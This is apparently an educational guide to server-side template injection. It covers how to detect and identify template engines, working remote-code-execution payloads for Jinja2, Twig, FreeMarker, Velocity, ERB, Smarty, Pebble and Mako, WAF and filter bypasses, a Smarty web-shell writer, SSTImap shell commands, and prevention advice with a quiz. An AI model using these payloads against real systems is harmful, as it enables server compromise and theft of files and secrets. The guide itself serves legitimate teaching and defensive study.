kavklaw@llm ~ /guides/ssti

kavklaw@llm $ curl -s "http://vulnerable.htb/?name={{7*7}}"

Server-Side Template Injection (SSTI)

🟡 Intermediate

From Template Engine Detection to Remote Code Execution

Intermediate 📖 30 min read
← Back to Guides

📑 Table of Contents

🎯 What is SSTI?

Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is unsafely embedded into a server-side template before rendering. Template engines — like Jinja2 (Python), Twig (PHP), FreeMarker (Java), ERB (Ruby), and many others — exist to separate presentation logic from application code. They let developers write HTML templates with dynamic placeholders that get filled in with data at render time.

The problem? When a developer concatenates user input directly into the template string instead of passing it as a data variable, the template engine interprets the input as template code rather than plain text. If an attacker injects template syntax like {{7*7}} and the server responds with 49, the engine is evaluating attacker-controlled expressions. And if it evaluates math, it can evaluate much more dangerous things — like operating system commands.

Why Template Engines Exist

Template engines solve a real problem: building dynamic HTML without embedding raw code everywhere. Instead of writing:

# Ugly and unmaintainable
html = "<h1>Hello " + username + "</h1><p>You have " + str(count) + " messages</p>"

You write a template:

<!-- Clean separation of concerns -->
<h1>Hello {{ username }}</h1>
<p>You have {{ count }} messages</p>

The engine replaces the placeholders with actual values at render time. Different languages have different template engines:

  • Python: Jinja2 (Flask/Django), Mako (Pylons)
  • PHP: Twig (Symfony), Smarty, Blade (Laravel)
  • Java: FreeMarker, Velocity, Thymeleaf, Pebble
  • Ruby: ERB (Rails), Slim, Haml
  • JavaScript: Pug (formerly Jade), EJS, Handlebars, Nunjucks

How the Vulnerability Happens

The vulnerability is all about where user input enters the pipeline. Here's the difference between safe and vulnerable code in Flask:

# ✅ SAFE — user input is passed as a context variable
# The template engine treats 'name' as DATA, not code
@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    return render_template('hello.html', name=name)
    # hello.html: <h1>Hello {{ name }}</h1>

# ❌ VULNERABLE — user input is concatenated INTO the template string
# The template engine treats 'name' as TEMPLATE CODE
@app.route('/hello')
def hello():
    name = request.args.get('name', 'World')
    template = '<h1>Hello ' + name + '</h1>'
    return render_template_string(template)

In the vulnerable version, if a user sends name={{7*7}}, the template string becomes <h1>Hello {{7*7}}</h1>, and Jinja2 evaluates it to <h1>Hello 49</h1>. The attacker is now writing code that executes on the server.

💡 Key distinction from XSS: Both SSTI and XSS involve injecting code through user input. But XSS executes in the browser (client-side) — it's a JavaScript injection. SSTI executes on the server — it's template code injection. The impact of SSTI is typically far more severe: where XSS steals cookies and sessions, SSTI can lead to full remote code execution (RCE) on the server. SSTI is closer to code injection than it is to XSS.
📜 History: SSTI was first formally documented by James Kettle (PortSwigger) in his 2015 research paper "Server-Side Template Injection." Before that, template injection was a known but poorly understood class of bugs often misidentified as XSS. The OWASP reference for this vulnerability class is WSTG-INPV-18.

🔍 Detection Methodology

Detection follows a systematic approach first formalized by PortSwigger. The goal is to determine: (1) Is user input being rendered by a template engine? (2) If so, which engine? The approach is similar to SQL injection detection — inject special characters and observe the response.

Step 1: Fuzz with a Polyglot

Start by injecting a polyglot string that contains syntax meaningful to multiple template engines. If the application errors or behaves differently, a template engine is likely processing your input:

${{<%[%'"}}%\

This string contains syntax from Jinja2/Twig ({{}}), FreeMarker/EL (${}), ERB (<%), and Smarty ({}). If the server throws an error (500, syntax error, template compilation error), you've likely found SSTI. If it reflects the string unchanged, the input probably isn't being template-processed.

Step 2: Plaintext Context — Arithmetic Probes

If the polyglot triggers something interesting, narrow down the engine with arithmetic expressions. Different engines use different delimiters:

# Try each of these — see which one evaluates to 49:

{{7*7}}          # Jinja2, Twig, Nunjucks, Handlebars
${7*7}           # FreeMarker, Velocity, Mako, EL (Expression Language)
<%= 7*7 %>      # ERB (Ruby)
#{7*7}           # Pebble, Thymeleaf (inline), Java EL
{7*7}            # Smarty (older versions)
#{ 7 * 7 }       # Ruby string interpolation (rare in templates)
${{7*7}}         # AngularJS (client-side, but sometimes seen server-side)

If {{7*7}} returns 49 in the response, you know the engine uses double-curly-brace syntax. If ${7*7} returns 49, you're dealing with dollar-brace syntax. This immediately narrows the candidates.

Step 3: Code Context

Sometimes your input lands inside an existing template expression rather than in plaintext. For example, the template might be:

Hello, {{user.name}}

And the app sets user.name from your input. In this case, basic probes like {{7*7}} won't work because they'll be treated as the value of name. You need to break out of the current context first:

# If your input lands inside a variable:
# Template: Hello, {{user.greeting}}
# Input:    }}{{7*7}}{{

# Resulting template: Hello, {{}}{{7*7}}{{}}
# If the engine processes this → you see 49 in the output

# Or try closing a string context:
'}}-{{7*7}}-{{'

Step 4: Distinguish Between Engines

The critical probe for distinguishing Jinja2 from Twig (the two most common {{}} engines):

{{7*'7'}}
  • Jinja2 (Python): Returns 7777777 — Python repeats the string '7' seven times (string multiplication)
  • Twig (PHP): Returns 49 — PHP coerces the string '7' to integer 7 and multiplies

This single test tells you exactly which engine you're dealing with.

⚠️ Warning: Don't just blindly inject payloads. Start with harmless arithmetic probes ({{7*7}}) before trying RCE payloads. In a real engagement, prematurely injecting os.popen('id') could trigger WAF alerts, get your IP banned, or worse — execute unintended commands on a production server. Detect first, exploit second.

🌳 Identifying the Template Engine

Here's the decision tree approach. Work through it top-to-bottom based on what returns 49 (or an error):

                         ┌──────────────────────┐
                         │  Inject polyglot:     │
                         │  ${{<%[%'"}}%\       │
                         └──────────┬───────────┘
                                    │
                          ┌─────────▼─────────┐
                          │  Error or change?  │
                          └─────────┬─────────┘
                             Yes    │     No → Probably not SSTI
                  ┌─────────────────┼─────────────────┐
                  │                 │                  │
           ┌──────▼──────┐  ┌──────▼──────┐  ┌───────▼──────┐
           │ {{7*7}}=49? │  │ ${7*7}=49?  │  │<%= 7*7 %>=49│
           └──────┬──────┘  └──────┬──────┘  └───────┬──────┘
                  │ Yes            │ Yes              │ Yes
           ┌──────▼──────┐  ┌──────▼──────┐         ERB
           │{{7*'7'}}= ? │  │ FreeMarker  │        (Ruby)
           └──────┬──────┘  │ Velocity    │
                  │         │ Mako / EL   │
         ┌────────┼─────┐   └─────────────┘
         │              │
    7777777            49
    Jinja2            Twig
   (Python)           (PHP)

Additional Engine Identification Probes

# FreeMarker confirmation:
${7*7}                           → 49
<#assign x = 7*7>${x}          → 49 (FreeMarker directive syntax)
${.now}                          → current date/time (FreeMarker built-in)

# Velocity confirmation:
#set($x = 7*7)$x                → 49
$class.inspect("java.lang.Math")→ reflection output

# Pebble confirmation:
{{ 7 * 7 }}                      → 49
{% set x = 7 * 7 %}{{ x }}       → 49
{{ beans }}                      → lists available beans

# Smarty confirmation:
{7*7}                            → 49
{$smarty.version}                → Smarty version string

# Mako confirmation:
${7*7}                           → 49
<% import os %>                  → no error = Mako
💡 Pro tip: In CTFs, about 70-80% of SSTI challenges use Jinja2 (because Flask is the go-to for quick Python web apps). If you see {{7*7}} returning 49, try {{7*'7'}} immediately. If you get 7777777, jump straight to the Jinja2 section below.

🐍 Jinja2 (Python/Flask) — Deep Dive

Jinja2 is the most common template engine in CTFs and one of the most interesting to exploit. It powers Flask, Django (optional), Ansible, and many Python web frameworks. Because Python's object model is richly introspectable, Jinja2 SSTI can almost always be escalated to full remote code execution.

Understanding the MRO Chain

Python's Method Resolution Order (MRO) lets you traverse the class hierarchy from any object back to the base object class, and from there access every loaded class in the Python process. This is the foundation of Jinja2 RCE:

# Start with any object — an empty string works:
''.__class__                    → <class 'str'>
''.__class__.__mro__            → (<class 'str'>, <class 'object'>)
''.__class__.__mro__[1]         → <class 'object'>

# Now list ALL subclasses of 'object' (every class loaded in the process):
''.__class__.__mro__[1].__subclasses__()
# Returns a massive list: [<class 'type'>, <class 'weakref'>, ..., 
#   <class 'subprocess.Popen'>, <class 'os._wrap_close'>, ...]

# The goal: find a class that gives access to os or subprocess

In a Jinja2 template, wrap this in {{ }}:

# List all subclasses (find the index of a useful one)
{{ ''.__class__.__mro__[1].__subclasses__() }}

# You're looking for classes like:
# - subprocess.Popen (direct command execution)
# - os._wrap_close (has reference to 'os' module)
# - warnings.catch_warnings (has __init__.__globals__)
# - importlib._bootstrap.ModuleSpec

Finding the Right Subclass Index

The index of subprocess.Popen or os._wrap_close varies by Python version. Here's how to find it:

# Dump all subclasses and search manually:
{{ ''.__class__.__mro__[1].__subclasses__() }}

# Or use a loop to find the one you want:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == 'Popen' %}
    INDEX: {{ loop.index0 }}
  {% endif %}
{% endfor %}

# Or find os._wrap_close:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == '_wrap_close' %}
    INDEX: {{ loop.index0 }}
  {% endif %}
{% endfor %}

RCE Payloads

Once you know the subclass index (let's say os._wrap_close is at index 132):

# Via os._wrap_close → access os.popen():
{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read() }}

# Via subprocess.Popen (if at index 407):
{{ ''.__class__.__mro__[1].__subclasses__()[407]('id', shell=True, stdout=-1).communicate()[0] }}

Shorter / More Reliable Payloads

Hardcoding subclass indices is fragile. These payloads work regardless of Python version because they access os through global objects that Flask makes available in every template:

# Via config object (Flask exposes this in templates):
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

# Via lipsum (Jinja2 built-in — present in default namespace):
{{ lipsum.__globals__['os'].popen('id').read() }}

# Via cycler (another Jinja2 built-in):
{{ cycler.__init__.__globals__['os'].popen('id').read() }}

# Via joiner:
{{ joiner.__init__.__globals__['os'].popen('id').read() }}

# Via namespace:
{{ namespace.__init__.__globals__['os'].popen('id').read() }}

# Via request object (Flask-specific):
{{ request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['os'].popen('id').read() }}

# Via url_for (Flask-specific):
{{ url_for.__globals__['os'].popen('id').read() }}

# Via get_flashed_messages (Flask-specific):
{{ get_flashed_messages.__globals__['os'].popen('id').read() }}
💡 Pro tip: The lipsum payload is probably the most reliable and shortest. lipsum is in Jinja2's default global namespace (it generates lorem ipsum text), and in most environments its __globals__ contain a reference to the os module. Memorize this one: {{ lipsum.__globals__['os'].popen('CMD').read() }}

Reading the Request Object

Even without RCE, you can extract useful information from Flask's request object:

# Access request data:
{{ request.args }}              → GET parameters
{{ request.form }}              → POST parameters
{{ request.cookies }}           → cookies
{{ request.headers }}           → HTTP headers
{{ request.environ }}           → WSGI environment (may contain secrets)

# Access Flask config (often contains SECRET_KEY, database URIs):
{{ config }}
{{ config.items() }}
{{ config['SECRET_KEY'] }}

Jinja2 Filter Bypass Techniques

Many CTF challenges filter specific characters or keywords. Here are workarounds:

# ─── NO UNDERSCORES (_ blocked) ───────────────
# Use the attr() filter with hex or string escapes:
{{ lipsum|attr("\x5f\x5fglobals\x5f\x5f") }}
# \x5f is the hex code for underscore

# Or use request.args to pass them:
{{ lipsum|attr(request.args.g)|attr(request.args.p)('id').read() }}
# URL: ?g=__globals__&p=__getitem__

# ─── NO DOTS (. blocked) ─────────────────────
# Use [] bracket notation:
{{ lipsum['__globals__']['os']['popen']('id')['read']() }}

# Or use the attr() filter:
{{ lipsum|attr('__globals__')|attr('__getitem__')('os') }}

# ─── NO BRACKETS ([ ] blocked) ───────────────
# Use |attr() for everything:
{{ lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() }}

# ─── BLOCKED KEYWORDS (e.g., 'os', 'popen') ──
# String concatenation:
{{ lipsum.__globals__['o'+'s'].popen('id').read() }}

# Hex encoding:
{{ lipsum.__globals__['\x6f\x73'].popen('id').read() }}
# \x6f\x73 = 'os'

# Using request args:
{{ lipsum.__globals__[request.args.m].popen(request.args.c).read() }}
# URL: ?m=os&c=id

# ─── NO {{ }} (double curly braces blocked) ──
# Use {% %} statement blocks with print:
{% print lipsum.__globals__['os'].popen('id').read() %}

# Or use {%- -%} with set and print:
{%- set result = lipsum.__globals__['os'].popen('id').read() -%}
{% print result %}
⚠️ Important: In real CTFs, you'll often chain multiple bypass techniques. For example, if both underscores and dots are blocked, you combine |attr() with hex escapes: {{ lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("id")|attr("read")() }}

🐘 Twig (PHP)

Twig is the default template engine for Symfony (PHP). It's the second most common engine in CTFs after Jinja2. Twig is generally more locked down than Jinja2 — it runs in a sandbox by default and doesn't expose PHP functions directly. But there are well-known bypasses.

Detection

# Confirm Twig:
{{7*7}}    → 49
{{7*'7'}}  → 49  (NOT 7777777 — that's Jinja2)
{{dump()}} → dumps Twig environment variables

Legacy Payload (Twig 1.x)

In older Twig versions (< 2.0), you could access the environment object directly:

# Register system() as an undefined filter callback, then call it:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

# How it works:
# 1. _self.env gives you the Twig\Environment object
# 2. registerUndefinedFilterCallback sets a PHP callable for unknown filters
# 3. getFilter("id") triggers the callback with "id" as argument
# 4. system("id") executes, returning output
⚠️ Note: This payload does NOT work in Twig 2.x or 3.x. _self was deprecated in Twig 1.x and changed in Twig 2.0 to return only the template name — breaking _self.env access entirely. If you try this on a modern Twig app, you'll get an error. Use the filter-based techniques below instead.

Modern Twig Payloads (Twig 2.x / 3.x)

# filter() with system — the go-to modern payload:
{{['id']|filter('system')}}

# How it works:
# |filter() is Twig's array filter function (like array_filter in PHP)
# It calls the callback ('system') on each array element ('id')
# system('id') executes and output appears

# map() works similarly:
{{['id']|map('system')}}

# sort() with a custom comparator:
{{['id','']|sort('system')}}

# reduce():
{{[0,0]|reduce('system','id')}}

File Read

# Read files using file_excerpt (if Twig source extension is loaded):
{{'/etc/passwd'|file_excerpt(0,100)}}
# Reads first 100 lines of /etc/passwd

# source() function (reads a template file):
{{ source('/etc/passwd') }}
# May or may not work depending on Twig configuration

Information Gathering in Twig

# Dump available variables:
{{ dump() }}

# Dump a specific variable:
{{ dump(app) }}

# Access app environment:
{{ app.request.server.all|join(',') }}

# Access environment variables (Symfony):
{{ app.request.server.get('HOME') }}

🔧 Other Template Engines

FreeMarker (Java)

FreeMarker is widely used in Java applications (Spring, Struts). Its ?new() built-in allows instantiation of arbitrary Java classes:

# RCE via Execute class:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# RCE via ObjectConstructor:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
${ob("java.lang.ProcessBuilder", ["id"]).start().inputStream.text}

# Read files:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().text}

# Get class info:
${object.class.name}

Velocity (Java)

Apache Velocity is another Java template engine. It uses # for directives and $ for variables:

# RCE via reflection:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end

# Shorter (if tools are available):
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id").waitFor()

ERB (Ruby)

Embedded Ruby is the default template engine in Ruby on Rails. ERB SSTI is particularly straightforward because Ruby's system() and backtick operators directly execute commands:

# Direct command execution:
<%= system("id") %>

# Using backticks:
<%= `id` %>

# Read files:
<%= File.open('/etc/passwd').read %>

# Kernel.exec (replaces process):
<%= IO.popen("id").read %>

Smarty (PHP)

Smarty is one of the oldest PHP template engines. Older versions are extremely easy to exploit:

# Direct function call (Smarty 2.x / some 3.x configs):
{system('id')}

# If direct calls are blocked, use tags:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['c']); ?>",self::clearConfig())}

# Via php tag (if enabled):
{php}system('id');{/php}
# Note: {php} tag is deprecated in Smarty 3 and removed in 4

Pebble (Java)

Pebble is a Java template engine inspired by Twig. Exploitation requires access to Java's Runtime:

# RCE via beans (Spring context):
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
  .forName('java.lang.Runtime')
  .methods[6]
  .invoke(null,null)
  .exec(cmd)
  .inputStream
  .readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes) }}

Mako (Python)

Mako templates use ${} syntax and have direct access to Python. SSTI in Mako is essentially unrestricted Python code execution:

# Direct Python execution — Mako has minimal sandboxing:
${__import__("os").popen("id").read()}

# Multi-line:
<%
  import os
  result = os.popen('id').read()
%>
${result}

# Import and execute:
${__import__("subprocess").check_output("id", shell=True)}
💡 Pro tip: Mako is basically unrestricted Python execution with template syntax. If you confirm Mako SSTI, you don't need any of the MRO chain trickery from Jinja2 — just ${__import__("os").popen("CMD").read()} works directly.

🤖 Automation Tools

SSTImap

SSTImap is the modern successor to tplmap. It supports detection and exploitation of SSTI across multiple template engines:

# Install SSTImap:
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip3 install -r requirements.txt

# Basic usage — test a parameter:
python3 sstimap.py -u "http://target.htb/page?name=test"

# Specify POST data:
python3 sstimap.py -u "http://target.htb/page" -d "name=test"

# Get an interactive shell:
python3 sstimap.py -u "http://target.htb/page?name=test" --os-shell

# Read a file:
python3 sstimap.py -u "http://target.htb/page?name=test" --os-cmd "cat /etc/passwd"

# Force a specific engine:
python3 sstimap.py -u "http://target.htb/page?name=test" -e jinja2

tplmap (Legacy)

tplmap was the original SSTI automation tool. SSTImap has largely replaced it, but you may still see references to it:

# Install tplmap:
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

# Basic usage:
python tplmap.py -u "http://target.htb/page?name=test"

# Interactive shell:
python tplmap.py -u "http://target.htb/page?name=test" --os-shell

Burp Suite Extensions

  • Hackvertor — Tag-based encoder/decoder. Useful for encoding SSTI payloads to bypass WAFs.
  • Backslash Powered Scanner — James Kettle's (the researcher who documented SSTI) extension that detects template injection using differential analysis.
  • J2EEScan — Detects Java-specific template injection (FreeMarker, Velocity, Thymeleaf).

When to Use Automation vs. Manual

  • Use SSTImap when you've already confirmed SSTI and want to quickly identify the engine and get a shell. It's great for CTFs where speed matters.
  • Go manual when the injection point is complex (code context, heavy filtering), when you need to understand what's happening (learning), or when automation fails to identify the engine.
  • Use both in real engagements: manual detection first, then SSTImap to speed up exploitation.

🛡️ Filter Bypass Techniques

Modern applications often deploy filters, WAFs, or sandboxes to prevent SSTI exploitation. Here are the most common restrictions and how to bypass them:

No Underscores (_ blocked)

# Jinja2 — use attr() with hex escapes:
{{ lipsum|attr("\x5f\x5fglobals\x5f\x5f") }}

# Jinja2 — use request.args to pass underscored strings:
{{ lipsum|attr(request.args.a) }}
# URL: ?a=__globals__

# Jinja2 — use request.cookies:
{{ lipsum|attr(request.cookies.a) }}
# Cookie: a=__globals__

# Twig — hex in variable names:
{{ ("\x5f\x5fself")|filter("system") }}

No Dots (. blocked)

# Jinja2 — use [] bracket notation:
{{ lipsum['__globals__']['os']['popen']('id')['read']() }}

# Jinja2 — use attr() filter:
{{ lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() }}

Blocked Keywords

# String concatenation (Python):
{{ lipsum.__globals__['o'+'s'] }}
{{ lipsum.__globals__[('o','s')|join] }}

# Hex encoding:
{{ lipsum.__globals__['\x6f\x73'] }}    # 'os'
{{ lipsum.__globals__['os']['\x70\x6f\x70\x65\x6e']('id') }}  # 'popen'

# Unicode escapes:
{{ lipsum.__globals__['\u006f\u0073'] }}

# Reverse string:
{{ lipsum.__globals__['so'[::-1]] }}

# Using chr() via cycler:
{% set c = cycler.__init__.__globals__.__builtins__.chr %}
{{ lipsum.__globals__[c(111)~c(115)].popen('id').read() }}

WAF Bypass — General Techniques

# Comments between keywords (Twig):
{{7*'7'}}  →  {{7*{# comment #}'7'}}

# Whitespace variations:
{{    7   *   7    }}

# URL encoding the payload:
%7b%7b7*7%7d%7d

# Double URL encoding (when app decodes twice):
%257b%257b7*7%257d%257d

# Using different Jinja2 block types:
{% if lipsum.__globals__['os'].popen('id').read() %}1{% endif %}

# Using set + print instead of {{ }}:
{% set x = lipsum.__globals__['os'].popen('id').read() %}{% print x %}
💡 Pro tip: When facing a WAF, test your bypass techniques one at a time. Inject a simple probe like {{7*7}} with your encoding, and only move to RCE payloads once you confirm the bypass works. WAFs often have different rules for different keywords — what blocks __class__ might not block __globals__.

🔒 Prevention

Preventing SSTI is straightforward in principle — the challenge is making sure developers consistently follow the right patterns:

1. Never Concatenate User Input into Templates

This is the cardinal rule. Always pass user input as context variables, never as part of the template string:

# ❌ VULNERABLE — user input in template string:
template = "Hello " + user_input
render_template_string(template)

# ✅ SAFE — user input as context variable:
render_template_string("Hello {{ name }}", name=user_input)

# ✅ SAFEST — use render_template() with template files:
render_template("hello.html", name=user_input)

2. Use Sandboxed Template Environments

Most template engines offer sandboxing that restricts what templates can access:

# Jinja2 sandboxed environment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}")
# This blocks access to __class__, __mro__, __subclasses__, etc.
// Twig sandbox (restrict allowed tags, filters, functions):
$policy = new \Twig\Sandbox\SecurityPolicy(
    ['if', 'for'],           // allowed tags
    ['upper', 'lower'],      // allowed filters
    [],                      // allowed methods
    [],                      // allowed properties
    ['range']                // allowed functions
);
$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);

3. Input Validation

While not a primary defense (defense in depth), validating input to reject template syntax characters can add a layer of protection:

# Reject inputs containing template delimiters:
import re
dangerous_patterns = re.compile(r'[{}\[\]$#%<>]')
if dangerous_patterns.search(user_input):
    abort(400, "Invalid characters in input")

4. Use Logic-less Templates

Template engines like Mustache and Handlebars are "logic-less" — they don't support arbitrary code execution by design. If your templates don't need complex logic, use a simpler engine:

<!-- Mustache/Handlebars — no code execution possible -->
<h1>Hello {{name}}</h1>
<!-- Even if injected, the engine has no eval capability -->

❌ Common Mistakes

  • Confusing SSTI with XSS. Both involve injecting into rendered output, but SSTI is server-side (template code injection → RCE) while XSS is client-side (JavaScript injection → session theft). If {{7*7}} returns 49, it's SSTI, not XSS. The severity and impact are completely different.
  • Using hardcoded subclass indices. Payloads like __subclasses__()[132] break across Python versions because the subclass list changes. Use reliable objects like lipsum, config, or cycler to reach __globals__['os'] without index-dependent chains.
  • Not adapting to the Twig version. The classic _self.env.registerUndefinedFilterCallback payload only works on Twig 1.x. Modern Twig (2.x/3.x) removed this access. Always try {{['id']|filter('system')}} on modern Twig applications.
  • Testing only one syntax. Don't stop at {{7*7}}. The application might use FreeMarker (${7*7}), ERB (<%= 7*7 %>), or Smarty ({7*7}). Always test multiple template syntaxes before concluding "not vulnerable."
  • Forgetting code context injection. If your input lands inside an existing template expression, basic probes won't work. You need to close the current expression first (}}) before injecting your own template code. Always consider where your input is being placed.
  • Skipping render_template_string() in code review. In Flask code reviews, render_template() (with file-based templates) is safe. The vulnerability is almost always in render_template_string() called with user-controlled input. Search for render_template_string first.
🏆 Quiz — SSTI Mastery
You inject {{7*'7'}} into a web application and the response shows 7777777. Which template engine is being used?
In Python, 7*'7' performs string multiplication — repeating the string '7' seven times to produce 7777777. This is a Jinja2 (Python) behavior. Twig (PHP) would return 49 because PHP coerces the string to an integer before multiplication. FreeMarker and ERB use completely different syntax.
What is the key difference between SSTI and XSS?
SSTI is a server-side vulnerability — injected template code runs on the server, often leading to remote code execution, file access, and full server compromise. XSS is client-side — injected JavaScript runs in the victim's browser, typically leading to session theft or phishing. SSTI is generally more severe because it compromises the server itself.
Which Flask function is typically vulnerable to SSTI?
render_template_string() takes a template string and renders it. When user input is concatenated into that string, it becomes part of the template code. render_template() loads templates from files and passes user input as context variables — this is safe because the user input is treated as data, not code.
Which Jinja2 payload is the most reliable for RCE (works regardless of Python version)?
lipsum is a built-in Jinja2 function that's always available. Its __globals__ contain a reference to the os module. Unlike subclass-index-based payloads (which break across Python versions) and direct __import__ (which isn't available in Jinja2's context), the lipsum approach is version-independent and concise.
You're testing a PHP application that uses Twig 3.x. Which payload should you try for RCE?
The _self.env payload only works on Twig 1.x — modern Twig (2.x/3.x) removed public access to the environment object. The |filter('system') approach uses Twig's built-in filter function (equivalent to PHP's array_filter) to call system() on the array element. This is the standard modern Twig RCE technique.
A WAF blocks underscores (_) in Jinja2 input. How can you still access __globals__?
Python interprets \x5f as the underscore character at runtime. So "\x5f\x5fglobals\x5f\x5f" evaluates to "__globals__" inside the template engine, but the WAF only sees hex escapes, not literal underscores. Alternatively, you can pass the underscored strings via request.args or request.cookies. Uppercase won't work because Python attribute names are case-sensitive.
What is the correct first step when testing for SSTI?
Always start with detection before exploitation. The polyglot string ${{<%[%'"}}%\ contains syntax from multiple template engines. If the server errors or behaves differently, it suggests template processing. Then narrow down with arithmetic probes like {{7*7}}. Never jump straight to RCE payloads — you could trigger alerts, get blocked, or execute unintended commands.
You find SSTI in a Java application. ${7*7} returns 49 and you can use <#assign> directives. What payload achieves RCE?
The <#assign> directive and ${} syntax identify this as FreeMarker. The ?new() built-in creates an instance of the Execute utility class, which runs OS commands. The Jinja2 payload (option A) is Python-only, the Twig payload (option B) is PHP-only, and ERB (option D) is Ruby-only.
In Jinja2, both {{ }} and . characters are blocked. Which approach lets you still execute commands?
Jinja2 has alternative block types: {% %} for statements. Combined with {% print %} you can output values without {{ }}. The |attr() filter replaces dot notation entirely: {% print lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() %}. Always explore alternative syntax before giving up.
Which is the most effective way to prevent SSTI?
The root cause of SSTI is concatenating user input into template strings. The fix is simple: pass user data as context variables. render_template("page.html", name=user_input) is safe because the template engine treats name as data, not code. WAF rules can be bypassed (as we covered in the filter bypass section). HTTPS has nothing to do with template injection. Disabling template engines entirely is impractical.

📚 Further Reading